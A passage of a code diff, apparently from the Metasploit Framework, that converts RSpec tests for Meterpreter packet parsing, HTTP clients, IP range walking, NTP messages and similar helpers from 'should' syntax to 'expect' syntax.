expect(subject.valid?('Bar')).to eq true end end end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 8df2a733dc..0c92f54e88 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -18,7 +18,7 @@ RSpec.describe Msf::OptionContainer do subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] }) - subject["thing"].should == foo_inst + expect(subject["thing"]).to eq foo_inst end diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 19a8e851cc..4c82ec3604 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -49,7 +49,7 @@ RSpec.describe Msf::Post::Windows::Priv do it "should produce expected plaintext" do decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key) - decrypted.should == plaintext + expect(decrypted).to eq plaintext end end @@ -67,7 +67,7 @@ RSpec.describe Msf::Post::Windows::Priv do end it "should produce expected plaintext" do - subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext + expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext end end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index a2debece0a..794f54a5dd 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -57,7 +57,7 @@ RSpec.describe Msf::DBManager::Export do it 'should have module_detail tag for each Mdm::Module::Detail' do nodes = root.xpath('module_detail') - nodes.length.should == module_detail_count + expect(nodes.length).to eq module_detail_count end context 'module_detail' do @@ -79,7 +79,7 @@ RSpec.describe Msf::DBManager::Export do it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do node = module_detail_node.at_xpath('disclosure-date') - DateTime.parse(node.content).should == module_detail.disclosure_date + expect(DateTime.parse(node.content)).to eq module_detail.disclosure_date end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 6ab2499053..5485dabea9 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -39,14 +39,14 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do host["addrs"].should be_a(Hash) end it "should find the address" do - host["addrs"].keys.length.should == 1 + expect(host["addrs"].keys.length).to eq 1 host["addrs"].should have_key("ipv4") - host["addrs"]["ipv4"].should == "192.168.0.1" + expect(host["addrs"]["ipv4"]).to eq "192.168.0.1" end } REXML::Document.parse_stream(StringIO.new(xml), parser) it "should have found exactly one host" do - total_hosts.should == 1 + expect(total_hosts).to eq 1 end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 2b57f4a098..9eb5918f6b 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -19,9 +19,9 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do end it "should initialise with expected defaults" do - parser.send(:raw).should == "" - parser.send(:hdr_length_left).should == 8 - parser.send(:payload_length_left).should == 0 + expect(parser.send(:raw)).to eq "" + expect(parser.send(:hdr_length_left)).to eq 8 + expect(parser.send(:payload_length_left)).to eq 0 end it "should parse valid raw data into a packet object" do @@ -29,8 +29,8 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do parsed_packet = parser.recv(@sock) end parsed_packet.should be_a Rex::Post::Meterpreter::Packet - parsed_packet.type.should == Rex::Post::Meterpreter::PACKET_TYPE_REQUEST - parsed_packet.method?("test_method").should == true + expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST + expect(parsed_packet.method?("test_method")).to eq true end end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index ce575adceb..216d7c9121 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -47,51 +47,51 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do context "A String TLV" do it "should return the correct TLV type" do - tlv.type.should == Rex::Post::Meterpreter::TLV_TYPE_STRING + expect(tlv.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING end it "should return the correct value" do - tlv.value.should == "test" + expect(tlv.value).to eq "test" end context "#type?" do it "should return true for STRING" do - tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == true + expect(tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq true end it "should return false for UINT" do - tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_UINT).should == false + expect(tlv.type?(Rex::Post::Meterpreter::TLV_TYPE_UINT)).to eq false end end context "#value?" do it "should return true for the correct value" do - tlv.value?("test").should == true + expect(tlv.value?("test")).to eq true end it "should return false for an incorrect value" do - tlv.value?("fake").should == false + expect(tlv.value?("fake")).to eq false end end context "#inspect" do it "should return a string representation of the TLV" do tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" - tlv.inspect.should == tlv_to_s + expect(tlv.inspect).to eq tlv_to_s end end context "#to_r" do it "should return the raw bytes of the TLV to send over the wire" do tlv_bytes = "\x00\x00\x00\r\x00\x01\x00\ntest\x00" - tlv.to_r.should == tlv_bytes + expect(tlv.to_r).to eq tlv_bytes end end context "#from_r" do it "should adjust the tlv attributes from the given raw bytes" do tlv.from_r("\x00\x00\x00\r\x00\x01\x00\ntes2\x00") - tlv.value.should == "tes2" + expect(tlv.value).to eq "tes2" end end end @@ -104,12 +104,12 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do ) } it "should have a meta type of String" do - tlv.meta_type?(Rex::Post::Meterpreter::TLV_META_TYPE_STRING).should == true + expect(tlv.meta_type?(Rex::Post::Meterpreter::TLV_META_TYPE_STRING)).to eq true end it "should show the correct type and meta type in inspect" do tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=METHOD meta=STRING value=\"test\">" - tlv.inspect.should == tlv_to_s + expect(tlv.inspect).to eq tlv_to_s end end @@ -118,7 +118,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do Rex::Post::Meterpreter::Tlv.new(Rex::Post::Meterpreter::TLV_TYPE_STRING,5) } it "should return the string version of the number" do - tlv.value.should == "5" + expect(tlv.value).to eq "5" end end @@ -192,28 +192,28 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do end it "should return an empty array for tlvs by default" do - group_tlv.tlvs.should == [] + expect(group_tlv.tlvs).to eq [] end context "#add_tlv" do it "should add to the tlvs array when given basic tlv paramaters" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") - group_tlv.tlvs.first.type.should == Rex::Post::Meterpreter::TLV_TYPE_STRING - group_tlv.tlvs.first.value.should == "test" + expect(group_tlv.tlvs.first.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING + expect(group_tlv.tlvs.first.value).to eq "test" end it "should replace any existing TLV of the same type when the replace flag is set to true" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test2", true) - group_tlv.tlvs.count.should == 1 - group_tlv.tlvs.first.value.should == "test2" + expect(group_tlv.tlvs.count).to eq 1 + expect(group_tlv.tlvs.first.value).to eq "test2" end it "should add both if replace is set to false" do group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test") group_tlv.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,"test2", false) - group_tlv.tlvs.first.value.should == "test" - group_tlv.tlvs.last.value.should == "test2" + expect(group_tlv.tlvs.first.value).to eq "test" + expect(group_tlv.tlvs.last.value).to eq "test2" end end @@ -224,9 +224,9 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do {'type' => Rex::Post::Meterpreter::TLV_TYPE_STRING, 'value' => "test2"} ] group_tlv.add_tlvs(tlv_array) - group_tlv.tlvs.count.should == 2 - group_tlv.tlvs.first.value.should == "test" - group_tlv.tlvs.last.value.should == "test2" + expect(group_tlv.tlvs.count).to eq 2 + expect(group_tlv.tlvs.first.value).to eq "test" + expect(group_tlv.tlvs.last.value).to eq "test2" end it "should raise an error when given something other than nil or an array" do @@ -263,11 +263,11 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should empty the array of TLV when reset is called" do group_tlv.reset - group_tlv.tlvs.should == [] + expect(group_tlv.tlvs).to eq [] end it "should convert to raw bytes when to_r is called" do - group_tlv.to_r.should == @raw_group + expect(group_tlv.to_r).to eq @raw_group end @@ -275,9 +275,9 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do it "should build the TLV group when given the propper raw bytes" do group_tlv.reset group_tlv.from_r( @raw_group) - group_tlv.tlvs[0].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" - group_tlv.tlvs[1].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test2\">" - group_tlv.tlvs[2].inspect.should == "#<Rex::Post::Meterpreter::Tlv type=UINT meta=INT value=5>" + expect(group_tlv.tlvs[0].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test\">" + expect(group_tlv.tlvs[1].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=STRING meta=STRING value=\"test2\">" + expect(group_tlv.tlvs[2].inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=UINT meta=INT value=5>" end end @@ -285,79 +285,79 @@ RSpec.describe Rex::Post::Meterpreter::GroupTlv do context "#get_tlvs" do it "should return all TLVs of the supplied type" do tlvs = group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_STRING) - tlvs.count.should == 2 - tlvs.first.value.should == "test" - tlvs.last.value.should == "test2" + expect(tlvs.count).to eq 2 + expect(tlvs.first.value).to eq "test" + expect(tlvs.last.value).to eq "test2" end it "should return all TLVs when supplied the ANY TLV type" do tlvs = group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_ANY) - tlvs.count.should == group_tlv.tlvs.count + expect(tlvs.count).to eq group_tlv.tlvs.count end it "should return an empty array for a TLV type that isn't present" do - group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == [] + expect(group_tlv.get_tlvs(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq [] end it "should return an empty array for a nonexistant TLV type" do - group_tlv.get_tlvs(55555555).should == [] + expect(group_tlv.get_tlvs(55555555)).to eq [] end end context "#get_tlv" do it "should return the first TLV of the specified type by default" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == group_tlv.tlvs.first - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_UINT).should == group_tlv.tlvs.last + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq group_tlv.tlvs.first + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_UINT)).to eq group_tlv.tlvs.last end it "should return the correct TLV of the specified type for the given index" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,1).should == group_tlv.tlvs[1] + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,1)).to eq group_tlv.tlvs[1] end it "should return nil if given an out of bounds index" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,5).should == nil + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_STRING,5)).to eq nil end it "should return nil if given a non-present TLV type" do - group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == nil + expect(group_tlv.get_tlv(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq nil end end context "#get_tlv_value" do it "should return the value of the first TLV with the given type" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == group_tlv.tlvs.first.value + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq group_tlv.tlvs.first.value end it "should return the correct TLV value of the specified type for the given index" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,1).should == group_tlv.tlvs[1].value + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,1)).to eq group_tlv.tlvs[1].value end it "should return nil if given an out of bounds index" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,5).should == nil + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_STRING,5)).to eq nil end it "should return nil if given a non-present TLV type" do - group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == nil + expect(group_tlv.get_tlv_value(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq nil end end context "#get_tlv_values" do it "should return an array of values for the designated TLV types" do - group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == ["test", "test2"] + expect(group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq ["test", "test2"] end it "should return an empty array for a non-present TLV type" do - group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == [] + expect(group_tlv.get_tlv_values(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq [] end end context "#has_tlv?" do it "should return true if the TLV Type is present" do - group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_STRING).should == true + expect(group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_STRING)).to eq true end it "should return false if the TLV type is not present" do - group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_BOOL).should == false + expect(group_tlv.has_tlv?(Rex::Post::Meterpreter::TLV_TYPE_BOOL)).to eq false end end end @@ -405,25 +405,25 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return false for response?" do - packet.response?.should == false + expect(packet.response?).to eq false end it "should evaluate the method correctly" do - packet.method?("test_method").should == true - packet.method?("blah").should == false + expect(packet.method?("test_method")).to eq true + expect(packet.method?("blah")).to eq false end it "should accept new methods" do packet.method= "test_method2" - packet.method?("test_method2").should == true + expect(packet.method?("test_method2")).to eq true end it "should return the correct method" do - packet.method.should == "test_method" + expect(packet.method).to eq "test_method" end it "should not have a result" do - packet.result.should == nil + expect(packet.result).to eq nil end it "should return a valid request id" do @@ -432,9 +432,9 @@ RSpec.describe Rex::Post::Meterpreter::Packet do it "should be created when Packet.create_request is called" do req = Rex::Post::Meterpreter::Packet.create_request("test_method") - req.class.should == Rex::Post::Meterpreter::Packet - req.response?.should == false - req.method?("test_method").should == true + expect(req.class).to eq Rex::Post::Meterpreter::Packet + expect(req.response?).to eq false + expect(req.method?("test_method")).to eq true end it "should return the correct raw byte form of the packet" do @@ -442,8 +442,8 @@ RSpec.describe Rex::Post::Meterpreter::Packet do meth = packet.method raw = packet.to_r packet.from_r(raw) - packet.rid.should == rid - packet.method.should == meth + expect(packet.rid).to eq rid + expect(packet.method).to eq meth end end @@ -459,23 +459,23 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return the correct result" do - packet.result.should == "a-ok" + expect(packet.result).to eq "a-ok" end it "should evaluate result correctly" do - packet.result?("a-ok").should == true - packet.result?("5by5").should == false + expect(packet.result?("a-ok")).to eq true + expect(packet.result?("5by5")).to eq false end it "should accept a new result" do packet.result = "test2" - packet.result.should == "test2" + expect(packet.result).to eq "test2" end it "should be created when Packet.create_response is called" do resp = Rex::Post::Meterpreter::Packet.create_response - resp.class.should == Rex::Post::Meterpreter::Packet - resp.response?.should == true + expect(resp.class).to eq Rex::Post::Meterpreter::Packet + expect(resp.response?).to eq true end end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 3b55f12249..0d60e84b94 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -12,7 +12,7 @@ RSpec.shared_context "with no evasions" do end it "should return the unmodified uri" do - client_request.send(:set_uri).should == "/" + expect(client_request.send(:set_uri)).to eq "/" end end @@ -161,7 +161,7 @@ RSpec.describe Rex::Proto::Http::ClientRequest do result = things[:result] describe "##{meth}" do it "should return #{result.inspect}" do - client_request.send(meth, *args).should == result + expect(client_request.send(meth, *args)).to eq result end end end @@ -202,10 +202,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do client_request.opts['pad_get_params'] = true client_request.opts['pad_get_params_count'] = 0 - client_request.to_s.split("&").length.should == vars_get.length + expect(client_request.to_s.split("&").length).to eq vars_get.length client_request.opts['pad_get_params_count'] = 10 - client_request.to_s.split("&").length.should == vars_get.length + 10 + expect(client_request.to_s.split("&").length).to eq vars_get.length + 10 client_request.opts['pad_get_params'] = old end @@ -262,7 +262,7 @@ RSpec.describe Rex::Proto::Http::ClientRequest do describe "#to_s" do it "should produce same values if called multiple times with same options" do - client_request.to_s.should == client_request.to_s + expect(client_request.to_s).to eq client_request.to_s end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index fcb4f5d105..c26bb01ed4 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Rex::Proto::Http::Client do describe "#set_config" do it "should respond to #set_config" do - cli.set_config.should == {} + expect(cli.set_config).to eq {} end end @@ -48,9 +48,9 @@ RSpec.describe Rex::Proto::Http::Client do end it "should have a set of default instance variables" do - cli.instance_variable_get(:@hostname).should == ip - cli.instance_variable_get(:@port).should == 80 - cli.instance_variable_get(:@context).should == {} + expect(cli.instance_variable_get(:@hostname)).to eq ip + expect(cli.instance_variable_get(:@port)).to eq 80 + expect(cli.instance_variable_get(:@context)).to eq {} cli.instance_variable_get(:@ssl).should be_falsey cli.instance_variable_get(:@proxies).should be_nil cli.instance_variable_get(:@username).should be_empty @@ -85,14 +85,14 @@ RSpec.describe Rex::Proto::Http::Client do req = cli.request_cgi match = req.to_s.match("Authorization: Basic") match.should be - match.length.should == 1 + expect(match.length).to eq 1 end it "should prefer the value in the header" do req = cli.request_cgi match = req.to_s.match(/Authorization: Basic (.*)$/) match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 + expect(match.captures.length).to eq 1 + expect(match.captures[0].chomp).to eq base64 end end end @@ -142,7 +142,7 @@ RSpec.describe Rex::Proto::Http::Client do cli.send_recv(req) # Make sure it didn't modify the argument - opts.should == { "username" => user, "password" => pass} + expect(opts).to eq({ "username" => user, "password" => pass}) end end @@ -182,7 +182,7 @@ RSpec.describe Rex::Proto::Http::Client do u = "user1" p = "pass1" b64 = ["#{u}:#{p}"].pack("m*").strip - cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + expect(cli.basic_auth_header("user1","pass1")).to eq "Basic #{b64}" end it "should perform digest authentication", :skip => excuse_needs_auth do diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb index 2e7e4ba873..fb3ebede91 100644 --- a/spec/lib/rex/proto/http/packet_spec.rb +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -25,10 +25,10 @@ RSpec.describe Rex::Proto::Http::Packet do end it "should have correct headers" do - subject["foo"].should == "Bar" - subject["Content-Length"].should == body.length.to_s - subject.cmd_string.should == "GET / HTTP/1.0\r\n" - subject.body.should == body + expect(subject["foo"]).to eq "Bar" + expect(subject["Content-Length"]).to eq body.length.to_s + expect(subject.cmd_string).to eq "GET / HTTP/1.0\r\n" + expect(subject.body).to eq body end end @@ -42,10 +42,10 @@ RSpec.describe Rex::Proto::Http::Packet do end it "should have correct headers" do - subject["foo"].should == "Bar" - subject["Content-Length"].should == body.length.to_s - subject.cmd_string.should == "HTTP/1.0 200 OK\r\n" - subject.body.should == body + expect(subject["foo"]).to eq "Bar" + expect(subject["Content-Length"]).to eq body.length.to_s + expect(subject.cmd_string).to eq "HTTP/1.0 200 OK\r\n" + expect(subject.body).to eq body end end diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb index 094b319ab7..6e46adf19e 100644 --- a/spec/lib/rex/proto/ntp/modes_spec.rb +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -24,12 +24,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates control NTP messages correctly' do - @control_raw.should == @control.to_s + expect(@control_raw).to eq @control.to_s end it 'Parses control NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw) - @control.should == parsed_raw + expect(@control).to eq parsed_raw end end @@ -47,12 +47,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates generic NTP messages correctly' do - @generic_raw.should == @generic.to_s + expect(@generic_raw).to eq @generic.to_s end it 'Parses generic NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw) - @generic.should == parsed_raw + expect(@generic).to eq parsed_raw end end @@ -72,12 +72,12 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates private NTP messages correctly' do - @private_raw.should == @private.to_s + expect(@private_raw).to eq @private.to_s end it 'Parses private NTP messages correctly' do parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw) - @private.should == parsed_raw + expect(@private).to eq parsed_raw end end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 5520aacd67..9e73eb37cb 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do { :min_length=>3, :max_length=>3 } end it "should return the same thing for subsequent calls" do - rig.get(:rspec).should == rig.get(:rspec) + expect(rig.get(:rspec)).to eq rig.get(:rspec) end it "should not return the same for different names" do # Statistically... @@ -53,7 +53,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do count.times do |n| a.add rig.get(n) end - a.size.should == count + expect(a.size).to eq count end context "with an exhausted set" do @@ -87,30 +87,30 @@ RSpec.describe Rex::RandomIdentifierGenerator do it "should allow smaller than minimum length" do value = "a"*(options[:min_length]-1) rig.store(:spec, value) - rig.get(:spec).should == value + expect(rig.get(:spec)).to eq value end it "should allow bigger than maximum length" do value = "a"*(options[:max_length]+1) rig.store(:spec, value) - rig.get(:spec).should == value + expect(rig.get(:spec)).to eq value end it "should raise if value is not unique" do value = "a"*(options[:max_length]+1) rig.store(:spec0, value) - rig.get(:spec0).should == value + expect(rig.get(:spec0)).to eq value expect { rig.store(:spec1, value) }.to raise_error end it "should overwrite a previously stored value" do orig_value = "a"*(options[:max_length]) rig.store(:spec, orig_value) - rig.get(:spec).should == orig_value + expect(rig.get(:spec)).to eq orig_value new_value = "b"*(options[:max_length]) rig.store(:spec, new_value) - rig.get(:spec).should == new_value + expect(rig.get(:spec)).to eq new_value end it "should overwrite a previously generated value" do @@ -118,7 +118,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do new_value = "a"*(options[:max_length]) rig.store(:spec, new_value) - rig.get(:spec).should == new_value + expect(rig.get(:spec)).to eq new_value end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index bc53fbecbb..668e719a5a 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -42,14 +42,14 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle single ipv6 addresses" do walker = Rex::Socket::RangeWalker.new("::1") walker.should be_valid - walker.length.should == 1 + expect(walker.length).to eq 1 end it "should handle longform ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-10.1.1.2") walker.should be_valid - walker.length.should == 2 - walker.next.should == "10.1.1.1" + expect(walker.length).to eq 2 + expect(walker.next).to eq "10.1.1.1" end context "with mulitple ranges" do @@ -62,14 +62,14 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2") walker.should be_valid - walker.length.should == 2 - walker.next.should == "10.1.1.1" + expect(walker.length).to eq 2 + expect(walker.next).to eq "10.1.1.1" walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2") walker.should be_valid - walker.length.should == 4 + expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6") walker.should be_valid - walker.length.should == 8 + expect(walker.length).to eq 8 walker.should include("10.1.3.5") end @@ -86,28 +86,28 @@ RSpec.describe Rex::Socket::RangeWalker do it "should default the lower bound of a range to 0" do walker = Rex::Socket::RangeWalker.new("10.1.3.-17") walker.should be_valid - walker.length.should == 18 + expect(walker.length).to eq 18 walker = Rex::Socket::RangeWalker.new("10.1.3.-255") walker.should be_valid - walker.length.should == 256 + expect(walker.length).to eq 256 end it "should default the upper bound of a range to 255" do walker = Rex::Socket::RangeWalker.new("10.1.3.254-") walker.should be_valid - walker.length.should == 2 + expect(walker.length).to eq 2 end it "should take * to mean 0-255" do walker = Rex::Socket::RangeWalker.new("10.1.3.*") walker.should be_valid - walker.length.should == 256 - walker.next.should == "10.1.3.0" + expect(walker.length).to eq 256 + expect(walker.next).to eq "10.1.3.0" walker.should include("10.1.3.255") walker = Rex::Socket::RangeWalker.new("10.1.*.3") walker.should be_valid - walker.length.should == 256 - walker.next.should == "10.1.0.3" + expect(walker.length).to eq 256 + expect(walker.next).to eq "10.1.0.3" walker.should include("10.1.255.3") end @@ -117,10 +117,10 @@ RSpec.describe Rex::Socket::RangeWalker do #walker.length.should == 2 walker = Rex::Socket::RangeWalker.new("10.1.1.1") walker.should be_valid - walker.length.should == 1 + expect(walker.length).to eq 1 walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") walker.should be_valid - walker.length.should == 2 + expect(walker.length).to eq 2 walker.should_not include("10.1.1.2") end @@ -133,19 +133,19 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges and lists together" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3") walker.should be_valid - walker.length.should == 3 + expect(walker.length).to eq 3 walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2") walker.should be_valid - walker.length.should == 4 + expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6") - walker.length.should == 8 + expect(walker.length).to eq 8 end it "should handle cidr" do 31.downto 16 do |bits| walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}") walker.should be_valid - walker.length.should == (2**(32-bits)) + expect(walker.length).to eq (2**(32-bits)) end end end @@ -158,7 +158,7 @@ RSpec.describe Rex::Socket::RangeWalker do walker.each { |ip| got.push ip } - got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.2.2.2"] + expect(got).to eq ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.2.2.2"] end end @@ -180,7 +180,7 @@ RSpec.describe Rex::Socket::RangeWalker do while ip = walker.next all << ip end - all.should == [ "10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.4", "10.1.1.5", ] + expect(all).to eq [ "10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.4", "10.1.1.5", ] end it "should not raise if called again after empty" do diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 539915c533..7227919814 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -8,25 +8,25 @@ RSpec.describe Rex::Socket do context 'with explicit v6' do it "should convert a number to a human-readable IPv6 address" do - described_class.addr_itoa(1, true).should == "::1" + expect(described_class.addr_itoa(1, true)).to eq "::1" end end context 'with explicit v4' do it "should convert a number to a human-readable IPv4 address" do - described_class.addr_itoa(1, false).should == "0.0.0.1" + expect(described_class.addr_itoa(1, false)).to eq "0.0.0.1" end end context 'without explicit version' do it "should convert a number within the range of possible v4 addresses to a human-readable IPv4 address" do - described_class.addr_itoa(0).should == "0.0.0.0" - described_class.addr_itoa(1).should == "0.0.0.1" - described_class.addr_itoa(0xffff_ffff).should == "255.255.255.255" + expect(described_class.addr_itoa(0)).to eq "0.0.0.0" + expect(described_class.addr_itoa(1)).to eq "0.0.0.1" + expect(described_class.addr_itoa(0xffff_ffff)).to eq "255.255.255.255" end it "should convert a number larger than possible v4 addresses to a human-readable IPv6 address" do - described_class.addr_itoa(0xfe80_0000_0000_0000_0000_0000_0000_0001).should == "fe80::1" - described_class.addr_itoa(0x1_0000_0001).should == "::1:0:1" + expect(described_class.addr_itoa(0xfe80_0000_0000_0000_0000_0000_0000_0001)).to eq "fe80::1" + expect(described_class.addr_itoa(0x1_0000_0001)).to eq "::1:0:1" end end @@ -42,7 +42,7 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(String) } it { expect(subject.bytes.count).to eq(16) } it "should be in the right order" do - nbo.should == "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + expect(nbo).to eq "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" end end @@ -51,7 +51,7 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(String) } it { expect(subject.bytes.count).to eq(4) } it "should be in the right order" do - nbo.should == "\x7f\x00\x00\x01" + expect(nbo).to eq "\x7f\x00\x00\x01" end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Socket do let(:try) { "localhost" } it "should resolve" do nbo.should be_a(String) - nbo.encoding.should == 